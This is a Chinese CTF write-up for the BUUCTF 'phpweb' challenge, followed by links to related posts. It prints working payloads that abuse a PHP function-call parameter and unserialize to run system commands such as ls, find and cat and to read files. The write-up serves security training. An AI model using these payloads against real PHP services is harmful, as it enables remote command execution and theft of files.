BUUCTF—[网鼎杯 2020 朱雀组]phpweb

题解

打开题目是这样子的。

啥也不管抓个包看看,从它返回的信息判断出func后面的是要调用的函数,p后面的是要执行的内容。

那我们直接执行个系统命令看看,可以看到返回了hack,估计是做了过滤。

func=system&p=ls

直接读取源码看看咯,可以看到过滤了好多函数,反正我认识的可以进行命令执行的函数都给禁了。

func=file_get_contents&p=index.php

但是它没有禁用反序列化函数,那么我们只要实现构造出要执行的命令,然后序列化。再调用反序列化函数将其还原,且执行命令不就行了吗。从源代码不难看出传参的是这一部分代码,我们照葫芦画瓢,对其进行序列化。

class Test {
        var $p = "cat /flag";
        var $func = "system";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }

运行下面代码。

<?php
class Test {
        var $p = "cat /flag";
        var $func = "system";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
$a = new Test();
echo serialize($a);
?>

得到序列化后的数据。

O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

执行成功,返回当前目录下面的文件。

直接查到flag在哪里,发现 /tmp/flagoefiu4r93这个文件比较可以,估计是这个啦。

O:4:"Test":2:{s:1:"p";s:20:"find / -name 'flag*'";s:4:"func";s:6:"system";}

直接查看这个文件,但是这里我是cat /tmp/flagoefiu4r93,不知道为啥不行,有知道的大佬可以指点一下。

O:4:"Test":2:{s:1:"p";s:23:"cat /tmp/flagoefiu4r93'";s:4:"func";s:6:"system";}

用这个readfile函数读取,这个是PHP自带的函数,成功读取。

func=readfile&p=/tmp/flagoefiu4r93

总结

主要涉及的知识是反序列的运用,要懂得构造出序列化的数据,还得想到用file_get_contents函数读取源码。

相关推荐
脸红ฅฅ*的思春期25 天前
Java安全—原生反序列化&重写方法&链条分析&触发类
java·安全·序列化·反序列化
是乙太呀1 个月前
php反序列化1_常见php序列化的CTF考题
开发语言·web安全·渗透测试·php·ctf·反序列化
Erosion20201 个月前
RMI原理及常见反序列化攻击手法
java·反序列化·java sec
Erosion20201 个月前
CommonsBeanUtils1(基于ysoserial)
反序列化·java sec
落寞的魚丶1 个月前
2024年第四届“网鼎杯”网络安全比赛---朱雀组Crypto- WriteUp
ctf·crypto·网鼎杯·2024年网鼎杯
风飘红技术中心2 个月前
2024-网鼎杯第二次模拟练习-web02
sql·web·ctf·sql注入·网鼎杯
孪生质数-2 个月前
记录:网鼎杯2024赛前热身CRYPT02密码学
网络安全·密码学·ctf·网鼎杯
孪生质数-2 个月前
记录:网鼎杯2024赛前热身WEB01
web安全·网络安全·网鼎杯
孪生质数-2 个月前
记录:网鼎杯2024赛前热身CRYPT01密码学
网络安全·密码学·网鼎杯
一路向北_.2 个月前
[网鼎杯 2020 青龙组]AreUSerialz
php·反序列化·网鼎杯